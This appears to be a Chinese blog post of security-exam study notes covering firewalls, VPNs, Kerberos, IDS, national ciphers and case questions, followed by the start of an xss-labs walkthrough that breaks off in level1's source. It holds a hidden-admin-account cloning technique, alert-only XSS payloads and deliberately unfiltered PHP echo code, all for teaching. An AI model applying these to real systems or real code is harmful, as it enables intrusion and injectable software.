  • 两层防火墙:外部防火墙过滤入站流量,内部防火墙过滤DMZ到内部网络流量

华为防火墙设置指令

  • 基本ACL:基于源IP地址进行过滤

    1
    2
    3
    acl number 2000
    rule 5 permit source 192.168.1.0 0.0.0.255
    rule 10 deny source any
  • 高级ACL:基于源/目的IP、协议、端口等多条件过滤

    1
    2
    3
    acl number 3000
    rule 5 permit tcp source 192.168.1.0 0.0.0.255 destination 10.0.0.2 0 destination-port eq www
    rule 10 deny ip source any destination any

4. 隧道协议技术

二层隧道协议

  • PPTP:早期远程拨号接入,存在安全漏洞
  • L2TP:PPTP和Cisco L2F的结合,通常与IPsec结合使用

三层隧道协议

  • IPsec
    • AH(认证头):提供数据源认证和完整性校验
    • ESP(封装安全载荷):提供机密性、认证和完整性
    • IKE(互联网密钥交换):用于建立安全关联
    • 传输模式:只加密IP载荷
    • 隧道模式:加密整个IP包
  • GRE
    • 通用路由封装
    • 通常与IPsec结合使用(GRE over IPsec)

应用层隧道协议

  • SSL/TLS VPN
    • SSL VPN代理:通过浏览器访问特定应用
    • 全隧道SSL VPN:建立完整网络连接
  • OpenVPN
    • 基于OpenSSL库
    • 配置灵活,可穿越NAT和防火墙
  • WireGuard
    • 现代、高速、简洁的VPN协议
    • 代码量少,性能高
    • 使用UDP传输
  • SSH隧道
    • 本地端口转发:将本地端口流量通过SSH隧道转发
    • 远程端口转发:将远程端口流量通过SSH隧道转发

根据VPN用途分类

  1. 远程访问VPN (Access VPN)

    • 为远程用户提供安全接入企业内部网络
    • 适用于移动办公、远程工作者
  2. 站点到站点VPN (Intranet VPN)

    • 连接企业内部不同物理位置的网络
    • 适用于企业总部与分支机构互联
  3. 基于特定协议的VPN

    • 如SSL VPN、IPsec VPN等
    • 依据底层协议实现方式分类
  4. 基于特定用途的VPN

    • Extranet VPN:连接企业与合作伙伴网络
    • Intranet VPN:连接企业内部网络

四、安全协议与认证

1. AAA认证体系

  • 认证(Authentication):验证用户身份
  • 授权(Authorization):确定用户可使用的网络服务
  • 计帐(Accounting):记录用户使用情况,用于计费

2. Kerberos认证协议

Kerberos系统组成

  • Client:请求服务的客户端
  • Server:提供服务的服务器
  • KDC:密钥分发中心
    • AS:认证服务器
    • TGS:票据授予服务器

认证过程

  1. 初始认证

    • Client向AS请求TGT
    • AS验证Client身份,返回TGT和会话密钥
  2. 获取服务票据

    • Client用TGT向TGS请求服务票据
    • TGS验证TGT,返回服务票据ST和会话密钥
  3. 访问服务

    • Client用ST向Server请求服务
    • Server验证ST,提供服务

票据类型

  • TGT(票据授予票据):用于获取服务票据
  • ST(服务票据):用于访问具体服务

3. RADIUS协议

  • 远程认证拨号用户服务
  • 特点:客户端/服务器架构,基于UDP
  • 端口:认证1812,计费1813
  • 应用:网络接入认证、授权和计费

4. 无线网络认证技术

  • WEP:单向认证+弱加密,已不安全
  • WPA/WPA2:双向认证+AES加密
  • WAPI:中国标准,双向认证+SM4加密
    • WAI:鉴别模块,使用非对称密码算法(SM2)进行身份认证
    • WPI:保密模块,使用对称密码算法(SM4)进行加解密

5. 邮件收发协议

  • SMTP (Simple Mail Transfer Protocol):用于发送邮件

    • 端口:25
    • 特点:基于文本,明文传输(可使用STARTTLS加密)
  • POP3 (Post Office Protocol version 3)

    • 端口:110
    • 特点:将邮件下载到本地客户端,服务器通常不再保留
    • 安全增强:POP3S(加密版本,端口995)
  • IMAP (Internet Message Access Protocol)

    • 端口:143
    • 特点:在服务器上管理邮件,可在多设备间同步
    • 安全增强:IMAPS(加密版本,端口993)

五、安全威胁与防御

1. 攻击分类

主动攻击

  • 数据篡改:修改传输中的数据
  • 恶意代码植入:病毒、木马、勒索软件
  • DDoS攻击:大量请求导致服务不可用
  • 特点:难以防止但可检测

被动攻击

  • 网络监听:截获通信内容
  • 流量分析:分析通信模式
  • 密码嗅探:捕获密码明文
  • 特点:难以检测但可预防

2. APT攻击步骤

  1. 情报收集:收集目标信息
  2. 初始入侵:利用漏洞进入系统
  3. 建立据点:安装后门,维持访问
  4. 权限提升:获取更高权限
  5. 横向移动:在网络中扩散
  6. 数据收集与外传:窃取敏感数据
  7. 持续化驻留:长期保持访问

3. 入侵检测技术

误用检测方法

  • 基于规则:Snort、Suricata
  • 基于迁移状态:STAT、USTAT
  • 基于模式匹配:ClamAV
  • 基于专家系统:MIDAS、IDES
  • 基于协议分析:现代IDS

异常检测方法

  • 基于统计:分析正常行为模式
  • 基于模式预测:预测未来行为
  • 基于文本分类:识别异常文本
  • 基于贝叶斯推理:概率分析

入侵检测系统类型

  • HIDS (主机入侵检测系统)

    • 部署在主机上,监测主机活动
    • 可以检测本地攻击行为
    • 不能检测网络层攻击
    • 优点:对主机内部活动了解更详细
    • 缺点:难以管理大规模部署
  • NIDS (网络入侵检测系统)

    • 部署在网络边界或关键位置
    • 监测网络流量
    • 无法检测主机内部的攻击行为,如远程口令破解(但可以检测缓冲区溢出)
    • 优点:对网络流量有全局视图
    • 缺点:不能检测加密流量
  • DIDS (分布式入侵检测系统)

    • 多个IDS组件分布在不同位置
    • 通过协同工作检测分布式攻击
    • 可以检测跨多个系统的攻击行为
    • 优点:增强对分布式攻击的检测能力
    • 缺点:部署和管理复杂

Snort规则的组成

Snort规则由规则头部和规则选项两部分组成:

  1. 规则头部:定义规则的基本属性

    • 规则动作(alert, log, pass, activate, dynamic)
    • 协议(tcp, udp, icmp, ip)
    • 源/目的IP地址和端口
    • 方向操作符(-> 表示方向)
  2. 规则选项:定义规则的具体行为

    • 消息:alert时显示的信息
    • 内容:匹配数据包内容
    • 标志:TCP标志位匹配
    • 端口:源/目的端口匹配
    • 其他:多种检测条件

示例规则:

1
alert tcp any any -> $HOME_NET 80 (msg:"WEB-MISC phf access"; content:"/cgi-bin/phf"; nocase; sid:1001; rev:1;)

4. 恶意代码分析

  • 静态分析:不运行代码,直接分析
  • 动态分析:在受控环境中运行并监控
    • 系统行为监控
    • 文件监控
    • 网络监控

5. 恶意代码技术分类

  • 进程注入技术:将代码注入到其他进程中
  • 超级管理技术:绕过安全限制
  • 端口反向链接技术:建立对外连接
  • 缓冲区溢出技术:利用缓冲区溢出漏洞

6. 网络蠕虫传播方法

  1. 随机扫描:随机选择目标IP地址进行扫描
  2. 顺序扫描:按顺序扫描IP地址范围
  3. 选择性扫描:针对特定网络或主机进行扫描

六、安全管理与应急响应

1. 信息安全风险评估流程

“识别风险→分析风险→评价风险→处理风险”的闭环管理

具体步骤

  1. 资产识别
  2. 威胁识别
  3. 脆弱性识别
  4. 风险分析
  5. 风险评价
  6. 风险处理
  7. 持续监控

安全事件的风险值计算

  • 安全事件发生的可能性 = 脆弱性 × 威胁发生频率
  • 安全事件的风险值 = 安全事件发生的可能性 × 安全事件影响

2. 应急响应常用技术

  • 隔离:将受影响系统隔离
  • 取证:收集和保存证据
  • 恢复:恢复系统和数据
  • 分析:分析攻击原因和方式
  • 报告:编写应急响应报告

3. 容灾恢复等级

等级 核心特征 关键技术 RPO RTO
0级 无异地数据 磁带+货车 数天/周 数天/周
1级 介质异地转运 磁带+货车+计划 24小时以上 24小时以上
2级 电子传送 网络传输备份数据 数小时至1天 数小时至1天
3级 电子传送+备用站点 热备站点+异步复制 数小时 数小时
4级 活动二级站点 集群+同步/异步复制 数分钟至数小时 数分钟至数小时
5级 双中心 双向同步复制 0~数分钟 0~数分钟
6级 零数据丢失 分布式处理/集群 0 极低

4. PDRR模型

  • Protection:防御
  • Detection:检测
  • Response:响应
  • Recovery:恢复

5. 3R生存模型

  • Resistance:抵抗
  • Recognition:识别
  • Recovery:恢复

七、其他重要安全概念

1. 物理安全

物理隔离机制

  • 完全物理隔离:完全断开物理连接
  • 客户端隔离
    • 双硬盘技术
    • 单硬盘内外分区技术
  • 数据交换隔离技术
    • 信息摆渡技术
    • 空气间隙

物理隔离技术发展阶段

  1. 第一代:完全的物理隔离
  2. 第二代:硬件卡隔离
  3. 第三代:数据转播隔离
  4. 第四代:空气开关隔离
  5. 第五代:安全通道隔离

2. 电磁泄漏

  • TEMPEST技术:防范电磁辐射导致的信息泄露
  • 防护措施:屏蔽机房、滤波技术、干扰技术

3. 安全备份策略

  • 全备份:备份所有数据
  • 增量备份:备份自上次备份以来变化的数据
  • 差分备份:备份自上次全备份以来变化的数据
  • 镜像备份:实时同步备份

4. 常用网络端口

端口 协议 用途
21 FTP 文件传输
22 SSH 安全远程登录
23 Telnet 远程登录(明文)
25 SMTP 邮件传输
53 DNS 域名解析
80 HTTP Web服务
110 POP3 邮件接收
443 HTTPS 安全Web服务
500 IKE IPsec密钥交换
4500 IPsec NAT IPsec NAT穿透
50 ESP IPsec封装安全载荷
51 AH IPsec认证头
1433 SQL Server 数据库服务
3389 RDP 远程桌面
161 SNMP 网络管理

5. 私有IP地址范围

  • A类:10.0.0.0 ~ 10.255.255.255
  • B类:172.16.0.0 ~ 172.31.255.255
  • C类:192.168.0.0 ~ 192.168.255.255
  • 共享地址:100.64.0.0 ~ 100.127.255.255

6. 安卓系统架构

  • Linux内核层:提供基础功能和硬件驱动
  • 硬件抽象层(HAL):提供硬件接口
  • Android运行时
    • Dalvik虚拟机:早期Android使用的虚拟机
    • ART虚拟机:Android 5.0后使用的虚拟机,性能更高
  • 系统库层:提供C/C++库
  • 应用框架层:提供Java API
  • 应用层:用户可见的应用程序

文件格式

  • .dex:Dalvik/ART虚拟机可执行的文件格式
  • .apk:安卓应用的打包文件,包含.dex

八、国密算法体系

1. SM1

  • 类型:对称加密算法
  • 密钥长度:128位
  • 分组长度:128位
  • 特点:硬件实现,安全性等同于AES

2. SM2

  • 类型:非对称加密算法
  • 密钥长度:256位
  • 基础:椭圆曲线密码学
  • 用途:数字签名、密钥交换、加密

3. SM3

  • 类型:哈希算法
  • 输出长度:256位
  • 特点:安全性等同于SHA-256

4. SM4

  • 类型:对称加密算法
  • 密钥长度:128位
  • 分组长度:128位
  • 用途:无线局域网标准

5. SM7

  • 类型:对称加密算法
  • 密钥长度:128位
  • 分组长度:128位
  • 用途:非接触式IC卡应用

6. SM9

  • 类型:非对称加密算法
  • 特点:基于标识的密码系统
  • 用途:身份认证、密钥交换

九、网络安全管理框架

1. 网络信息安全管理5个阶段

  1. 识别:识别组织资产、风险和威胁
  2. 保护:实施安全控制措施
  3. 检测:持续监控安全事件
  4. 响应:对安全事件进行响应
  5. 恢复:从安全事件中恢复

2. 网络风险管理步骤

  1. 识别:识别资产、威胁和脆弱性
  2. 评估:评估风险可能性和影响
  3. 控制:实施风险控制措施
  4. 监控:持续监控风险状态

3. 蜜罐技术

  • 空系统:无实际服务的诱饵系统
  • 镜像系统:真实系统的副本
  • 虚拟系统:模拟真实系统的虚拟环境

4. 安全评估指标

  • RPO(Recovery Point Objective):可接受的最大数据丢失量
  • RTO(Recovery Time Objective):可接受的最大服务中断时间
  • MTD(Maximum Tolerable Downtime):最大可容忍停机时间

十、安全工具与技术

1. 网络扫描技术

端口扫描技术全面详解

(此处已包含在之前的完整笔记中,略)

2. ARP欺骗过程

(此处已包含在之前的完整笔记中,略)

3. SSL/TLS协议详解

(此处已包含在之前的完整笔记中,略)

4. IPsec协议详解

(此处已包含在之前的完整笔记中,略)

5. 常见安全事件与漏洞对应关系

漏洞分类

  1. 非技术性安全漏洞

    • 网络安全责任主体不明确
    • 网络安全策略不完备
    • 网络安全操作技能不足
    • 网络安全监督缺失
    • 网络安全特权控制不完备
  2. 技术性安全漏洞

    • 设计错误
    • 输入验证错误
    • 缓冲区溢出
    • 意外情况处置错误
    • 访问验证错误
    • 配置错误
    • 竞争条件
    • 环境错误

常见安全事件与漏洞对应关系

安全事件 对应漏洞 防御措施
SQL注入 输入验证错误 参数化查询、输入过滤、WAF
XSS攻击 输入验证错误 输出编码、内容安全策略
CSRF攻击 访问验证错误 CSRF令牌、SameSite Cookie
缓冲区溢出 编程错误 安全编码实践、边界检查
远程口令破解 认证机制缺陷 强密码策略、多因素认证、账户锁定
未授权访问 访问控制缺陷 最小权限原则、RBAC模型
信息泄露 配置错误 安全配置审核、敏感信息保护
会话劫持 会话管理缺陷 安全会话管理、HTTPS

6. Apache Web日志文件

  • 访问日志 (access.log)

    • 记录所有HTTP请求信息
    • 包含客户端IP、请求时间、请求方法、URL、HTTP状态码、响应大小等
    • 格式可自定义,通常为Common Log Format或Combined Log Format
  • 错误日志 (error.log)

    • 记录服务器运行中的错误信息
    • 包含错误级别、时间、错误消息、相关请求等
    • 帮助诊断服务器问题
  • 其他日志

    • 代理日志:记录通过Apache代理的请求
    • SSL日志:记录SSL/TLS连接相关信息
    • 自定义日志:根据需求配置的特定日志

十一、安全编码与实践

1. 安全编码原则

  • 最小权限原则:程序只拥有完成任务所需的最小权限
  • 防御性编程:假设所有输入都是恶意的
  • 输入验证:对所有输入进行严格验证
  • 输出编码:防止XSS等攻击
  • 错误处理:安全地处理错误,不泄露敏感信息

2. 常见安全漏洞

  • 缓冲区溢出:数据写入超过缓冲区容量
  • SQL注入:在SQL查询中插入恶意代码
  • XSS:在网页中注入恶意脚本
  • CSRF:跨站请求伪造
  • 命令注入:在系统命令中注入恶意代码
  • 不安全的直接对象引用:直接暴露内部对象

3. 安全开发流程

  1. 需求阶段:识别安全需求
  2. 设计阶段:设计安全架构
  3. 实现阶段:安全编码实践
  4. 测试阶段:安全测试和渗透测试
  5. 部署阶段:安全配置和监控
  6. 维护阶段:持续安全评估和更新

十二、总结与应试要点

1. 国密算法(重中之重)

  • SM1/SM4/SM7:对称加密,密钥和分组都是128位
  • SM2:非对称加密(基于ECC),用于签名/密钥交换/加密
  • SM3:哈希算法,输出256位

2. 对称加密

  • DES:56位密钥,64位分组,已不安全
  • 3DES:112/168位密钥,64位分组,速度慢
  • AES:128/192/256位密钥,128位分组,当前标准
  • SM4:国密对称加密算法

3. 非对称加密

  • RSA:基于大整数因子分解,密钥长(1024/2048位)
  • ECC/SM2:基于椭圆曲线,密钥短(160-256位),效率高
  • DSA:仅用于签名,不能加密

4. 哈希算法

  • MD5:128位输出,已不安全
  • SHA-1:160位输出,已不安全
  • SHA-2:SHA-256/384/512,当前标准
  • SM3:国密哈希算法,256位输出

5. 数字签名

  • 过程:哈希→私钥加密→发送
  • 验证:公钥解密→哈希比对
  • 算法:RSA、DSA、ECDSA、SM2

6. 安全协议

  • Kerberos:基于票据的认证协议
  • IPsec:网络层安全协议
  • SSL/TLS:传输层安全协议

7. 安全模型

  • DAC:自主访问控制
  • MAC:强制访问控制
    • BLP:保护机密性
    • Biba:保护完整性
  • RBAC:基于角色的访问控制(同时具有强制访问控制和自主访问控制属性)

十二、案例分析

1.安全配置

Windows安全配置

  1. 默认情况下,终端服务接入服务器时,登录对话框中会显示上次登录的账号名。为增强系统安全,通过修改注册表,将
    HKLM\software\MicrosoftIWindowsNT\CurrentVersion\winlogon\DontdisplayLastUserName下的REG_SZ的键值改成多少?
    alt text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
问题1:请写出查看计算机上的用户帐号列表的命令
net user / net users

问题2:请写出创建一个用户名为51cto$,口令是123456的命令
net user "51cto$" "123456" /add
用户名 51cto$ 包含特殊字符 $(在命令行中 $ 是环境变量符号),必须用双引号包裹整个用户名和密码,否则系统会报错(如 The user name could not be found)


问题3:此时是否能够使用问题1中的net命令查看到刚刚创建的51cto$用户?为什么?
不能;用户名最后用$符号,则创建的用户是隐藏用户,不可以单纯使用net user 查看

问题4:管理员账号Administrator对应图4-1注册表中Users键值下的哪一项?
默认情况下 Users键值下的000001F4是管理员账号Administrator,(000001F5是Guest账号)

问题5:图4-1中,51cto$账号对应Users键值下的000003F0,若需要将51cto$账号克隆为管理员账号,需要复制管理员账号的哪个键值?
F (细节)

问题6:使用克隆账号登入到该计算机,使用什么命令查看当前用户的有效用户名?
whoami

1:启用该策略,不显示上次登录的用户名。
0(默认值):显示上次登录的用户名。


  1. 某公司安全管理员小工针对针对公司中的两个连接了VPN的电脑PC1和PC2进行巡查,图3-1是PC1的windows系统中”事件查看器”的事件截图,图3-2为图3-1中第二条事件(红框标记)的详细信息:图3-3是PC2的网络抓包经过某条件语句过滤后的截图。

alt text

alt text

alt text

  • 问题1:Windows 日志类型,及其查看方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.系统日志:驱动加载失败、系统服务启动异常、硬件错误。
2.安全日志:登录成功/失败、权限变更、策略修改、文件访问审计(需提前配置审核策略)。
3.应用程序日志:软件崩溃、许可证错误、应用服务启动失败


打开事件查看器:eventvwr.msc


# 查看应用程序日志(最新 10 条)
Get-EventLog -LogName Application -Newest 10

# 查看安全日志(按事件 ID 筛选)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} # 4624=成功登录

# 查看系统日志(按时间筛选)
Get-WinEvent -LogName System -After (Get-Date).AddHours(-24) # 过去24小时

  • 问题2:图3-1的事件ID为4650,请结合任务类别,判断导致上述日志的最有可能的情况。
    备选项:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
A.IPSec主模式协商失败 B.建立了IPsec主模式安全关联
C.IPsec主模式安全关联已结束D.IPSec采用了传输模式成功

4650
IPsec主模式
主模式安全关联已建立
(协商成功)

4651
IPsec传输模式
传输模式安全关联已建立
(协商成功)

4652
IPsec主模式
主模式协商失败

4653
IPsec传输模式
传输模式协商失败

4654
IPsec主模式
主模式安全关联已删除(结束)

4655
IPsec传输模式
传输模式安全关联已删除
(结束)

  • 问题3:安全事件中的任务类别中IPSec是一种VPN,VPN提供的安全服务主要包括哪些?
1
2
3
4
5
6
7
8
9

(1)IPsec VPN 是属于三层协议隧道技术,网络层VPN
(2)远程连接服务,数据加密传输

VPN主要的安全服务有以下3种:
保密性服务( Confidentiality):防止传输的信息被监听;
完整性服务( lntegrity):防止传输的信息被修改;
认证服务( Authentication):提供用户和设备的访问认证,防止非法接入。

  • 问题四:请写出建立VPN连接的两端ip地址
1
2
src: 192.168.0.96
dst: 218.87.227.2
  • 问题五:如果要在Wireshark当中过滤出如图3-3的流量分组,请写出在显示过滤框中应输入的过滤表达式。
1
2
3

图中的所有分组都ip地址172.16.14.253有关,所以可以设定ip.addr == 172.16.14.253来过滤。

  • 问题六:通过图3-3的分组分析,
    网工认为PC2的这些分组是通过L2TP封装了的,但依然存在安全风险,该风险针对的是三大安全目标即保密性、完整性、可用性中的哪个
1
保密性
  • 问题七:根据第二条事件(红框标记)的详细信息图3-2,可以判断是PC1通过12tpoveripsec
    :VPN连接到对端,请写出你的判断依据?
1
2
L2TP采用专用的隧道协议,该协议运行在UDP的1701端口,图3-2中描述的端口号是1701,
另外通过前面描述的!PSec主模式以及<Dala Name=EspAuhTvpe>%6%16393</Data>可以判断是通过IPSec提供加密服务。

Linux安全配置

  1. 在网络信息化环境中,资源不是无限制开放的,而是在一定约束条件下,用户才能使用。一种技术。访问控制是几平所有系统都雲要用到的-访问控制通常按用户身份及其所归属的某项定义组来限制用户对某些信息项的访问,或限制对某些控制功能的使用的一种技术。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

为适应不同应用场景的访问控制需求,访问控制参考模型不断演变,形成各种各样的访问控制模型,主要有自主访问控制模型、强制访问控制模型、
基于角色的访问控制模型、
基干属性的访问控制模型等。
(1)适合用于操作系统、数据库系统的资源访问的控制模型有:
(2)适合于分布式网络环境和Web服务的模型访问控制模型有:

(1) 基于角色的访问控制模型, 自主访问控制模型, 强制访问控制模型
(2) 基于属性访问控制模型


某linux主机上可以看到如下所示的信息: -rwxr-x--- 1root bin 3853 Aug 105:49 javac
则表明采用此种保护位方案的访问控制模型是:(3)
基于角色的访问控制模型(错误) 基于列的访问控制模型(白名单)


某公司的部分重要资料部署在Apache服务器的Nana/secret日录下,要求只有公司内部的研发部门可以访问,研发部门的子网是172.28.31.0/24,则信息安全工程师应该在Apache的
配置文件(4)中进行修改,文件中的控制配置如下所示,请根据要求补充完整。
<Directory /yanfa/secret>
<Limit GET POST>
deny from (5)
allow from(6)
</Limit>
</Directory>

(5) all
(6) 172.28.31.0/24

Windows IIS FTP服务器提供了三种访问限制技术手段,分别是什么?
1.实现用户账号认证
2.匿名访问控制
3.IP地址限制


  1. 某公司的网站服务器系统为Linux/UNIX,李工作为公司的安全运维工程师,由于工作需要,需要随时随地对服务器远程开展处置工作。李工使用的PC的IP地址为192.168.1.23

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

(1)李工可以通过两种远程方式访问服务器进行运维,请写出两种方式?
ssh telnet

(2)请写出上述两种通信协议的默认端口号。
ssh:22 telnet:23

(3)出于安全考虑,李工应该选择那种方式进行远程运维?
ssh

(4)请写出李工可以选择远程安全登录运维管理的开源工具。
OpenSSH

李亮通过SSH登入到服务后,执行cat /etc/passwd 命今点显示如图2-1的画面。文件中的一行记录对应着一个用户,每行记录用冒号(:)分隔为 7 个字段。


(1)第2个字段“X"表示用来验证用户合法性的口令,真正的口令存放在什么文件中?(写出完整路径和名称)
/etc/shadow

(2)请写出图2-1中权限最低的用户名称。
bin
(3)请写出图2-1中系统允许远程登陆的用户名称。
user1 user2 root


UID=0→ root(最高权限)
UID=1~999→系统账户(如 bin, daemon, sshd)
普通用户UID>1000

若:/bin/bash /bin/sh /usr/bin/zsh 等可交互 Shell → 允许登录
若:/sbin/nologin/bin/false→禁止登录


Linux中可通过/etc/hosts,allow和/etc/hosts,denv这两个文件分许和禁止远程丰机对本地服务的访问运维。李工对服务器的这两个进行配置,实现禁止除了李工之外的任何主机进行远程,
请写出在这两个文件中加入的配置。

在/etc/hosts.deny中加入sshd:all:deny(:deny可以不写)
在/etc/hosts.allow中加入sshd:192.168.1.23:allow(:allow可以不写)


李工通过网络安全监测对系统的网络活动和内部活动进行分析,获取系统当前的状态信息,以发现有可能的异常行为。
(1)李工需要查看系统的活动进程,可以使用什么命令查看?
ps

(2)李工需要查看系统中在线的用户信息,可以使用什么命令查看?
who

(3)李工需要查看系统中的地址解析缓存表,可以使用什么命令查看?
arp

(4)李工需要检查系统中进程使用的文件、tcp/udp端口、用户等相关信息,可以使用什么命令查看?
lsof


Linux服务器的日志文件可提供审计,有助于系统管理员及时发现系统入侵行为或系统安全隐患。
李工根据安全需求查看相关日志:
(1)查看每一次用户登录和注销的历史信息的日志文件是哪个?
(2)查看不良的登入尝试记录的日志文件是哪个?

(1)-(2)备选答案:
A. lastlog
B. loginlog
C.utmp
D.wtmp
E.sulog


审计机制是 UNIXinux系统安全的重要组成部分,审计有助于系统管理员及时发现系统入侵行为或系统安全隐患。不同版本的 UNIXLinux日志文件的目录是不同的,早期版本UNx的审计日志目录放在/usr/adm:较新版本的在/arladm; Solaris,Linux和BSD在 UNIXarlog。常见日志文件如下:lastlog:记录用户最近成功登录的时间;
·loginlog:不良的登录尝试记录;
·messages:记录输出到系统主控台以及由 syslog系统服务程序产生的消息;
·utmp:记录当前登录的每个用户;
·utmpx:扩展的utmp;
·wtmp:记录每一次用户登录和注销的历史信息;
·wimp:扩展的wmp;
·vold.log:记录使用外部介质出现的错误;
·xferkig:记录fp的存取情况,
·sulog:记录su命令的使用情况;
·acct:记录每个用户使用过的命令。

前言

本人是个网安菜鸡,这是写的第一篇有关XSS漏洞学习的博客,请多多指教。

1.由于不可以在非代码区书写完整的html标签 用 [ ] 代替 < >

1
<sript>   -->   [script]  

2.作者用的是chrome浏览器,不同的浏览器回显的网页代码颜色或是容错规则方面有差异


一、xss漏洞是什么?

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过向网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在其浏览器中执行,从而导致数据泄露、会话劫持、钓鱼攻击等安全问题


二、xss漏洞的基本知识

1.HTML 中的「文本标签」

通常指用于包裹文本内容的标签,例如:
段落标签:p、h1-h6
行内容器:span、em、strong
列表项:li
其他文本容器:div、section(虽然通用,但常用于包裹文本块)


2.script 嵌套在不同标签下的脚本运行情况

*脚本执行的核心规则

  • 浏览器纠错机制
    HTML 解析器会尝试修复非法嵌套,将 script 移到允许的位置(如父容器外部),确保脚本执行。
  • 内容模型(Content Model)限制
    每个 HTML 标签有允许嵌套的内容类型(如流内容、短语内容等),非法嵌套可能导致 DOM 结构变化。
  • 安全策略影响
    如 CSP(内容安全策略)会阻止未授权的内联脚本或外部资源。

*补充知识

1.浏览器在解析javascript的属性值时,是支持十进制或是十六进制的unicode编码
2.URL编码,也叫百分号编码,是用来将特殊字符转换成可以在URL中安全使用的格式,通常用%加上两位的十六进制数来表示
3. alert(“ “) alert(‘ ‘) 双引号与单引号均可以
4. console.log(‘ ‘) /(“ “) 控制台输出
5.url编码的字符->搜索
6.多个键值对的输入用&分割
7.align(对齐)属性或相关标签(比如 [div align=”center”]),这在早期的 HTML 中用于对齐内容,但现代开发中已不推荐使用,建议改用 CSS 实现对齐。
8.前后符号最好都闭合,防止浏览器非预期‘容错’,也可以活动注释符号
9.src,href
10.gfi文件格式

在 XSS 攻击或前端开发中,<script> 标签的嵌套位置上下文环境会直接影响脚本的执行行为。以下是不同场景下的详细分析:


在 XSS 攻击或前端开发中,<script> 标签的嵌套位置上下文环境会直接影响脚本的执行行为。以下是不同场景下的详细分析:


1. <script> 标签的标准位置

HTML 规范允许 <script> 标签出现在 <head><body> 中,但行为略有差异:

  • <head>
    • 脚本默认同步加载和执行,会阻塞 HTML 解析。
    • 适合初始化代码或依赖库(如 jQuery)。
  • <body> 末尾
    • 延迟加载,避免阻塞页面渲染。
    • 适合操作 DOM 的代码(需确保 DOM 已加载)。
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<script>console.log("Head 中的脚本");</script>
</head>
<body>
<div>内容</div>
<script>console.log("Body 末尾的脚本");</script>
</body>
</html>

2. <script> 嵌套在其他标签内

场景 1:普通容器标签(如 <div><span>

  • 脚本仍会执行,但需注意执行时机
    1
    2
    3
    <div>
    <script>console.log("嵌套在 div 中的脚本");</script>
    </div>
    • 当 HTML 解析到此处时立即执行。
    • 如果容器标签被动态插入(如通过 JS),脚本会在插入时执行。

场景 2:表单标签(如 <form>

  • 脚本正常执行,但可能破坏表单结构:
    1
    2
    3
    <form>
    <script>console.log("表单内的脚本");</script>
    </form>

场景 3:表格标签(如 <table><tr>

  • 部分浏览器可能因 HTML 解析规则拒绝执行:
    1
    2
    3
    4
    5
    6
    <table>
    <script>console.log("表格内的脚本");</script> <!-- 可能不执行 -->
    <tr>
    <td>单元格</td>
    </tr>
    </table>
    • 应避免将 <script> 直接放在 <table><tr> 内。

3. <script> 在特殊标签中的行为

场景 1:<noscript> 标签

  • 仅当浏览器禁用 JavaScript 时,<noscript> 内的内容会显示:
    1
    2
    3
    4
    <noscript>
    <script>alert('不会执行');</script>
    <p>请启用 JavaScript</p>
    </noscript>
    • 内部的 <script> 永远不会执行

场景 2:<template> 标签

  • <template> 内的内容被视为惰性文档片段,脚本不会执行:
    1
    2
    3
    <template>
    <script>console.log("模板中的脚本");</script>
    </template>
    • 只有当内容被克隆并插入 DOM 后,脚本才会执行。

场景 3:SVG 或 MathML 标签

  • 在 SVG/MathML 中嵌入 <script>,行为与 HTML 一致:
    1
    2
    3
    <svg>
    <script>console.log("SVG 中的脚本");</script>
    </svg>

4. 动态插入的 <script>

通过 JavaScript 动态创建的 <script> 标签,行为受插入位置影响:

插入到 <head><body> 中:

  • 脚本异步加载,默认不阻塞页面:
    1
    2
    3
    const script = document.createElement('script');
    script.src = 'file.js';
    document.head.appendChild(script); // 或 document.body

插入到其他容器中(如 <div>):

  • 脚本仍会执行,但可能因容器未渲染而无法操作其内部 DOM:
    1
    2
    3
    const div = document.createElement('div');
    div.innerHTML = '<script>console.log("动态脚本");<\/script>';
    document.body.appendChild(div);

5. XSS 攻击中的 <script> 嵌套利用

攻击者可能尝试在非标准位置注入脚本以绕过过滤:

场景 1:属性内的脚本

  • 利用事件属性执行代码(无需 <script> 标签):
    1
    <img src="x" onerror="alert('XSS')"> <!-- 通过事件触发 -->

场景 2:闭合标签注入

  • 通过闭合父标签提前结束上下文,插入 <script>
    1
    </div><script>alert('XSS');</script> <!-- 闭合原有标签 -->

场景 3:利用 HTML 解析特性

  • 某些上下文允许省略闭合标签或特殊字符:
    1
    2
    <textarea><script>alert('XSS');</script></textarea>
    <!-- 实际不会执行,因为 <script> 被当作文本内容 -->

三、xss-labs解题思路+源码分析

level1

类型:url类性

解题思路:
1.第一个没有任何的输入框,点解图片也没有任何变化
2.突破口->网址栏->随便输入几次数据观察网页情况
3.查看网页源码->变化化处的标签

外层标签是h1 文本便签,嵌入script标签的脚本可以发挥作用
因此,只需要属于一段完整的脚本即可

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
//window 在加载完所有元素后,才会执行这个语句 href="跳转链接";
//在level1这一关的网页控制台输入 window.location.href="level2.php?keyword=test"; 就会跳转至第二关
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"]; //没有进行任何过滤,直接将内容赋值给变量$str
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
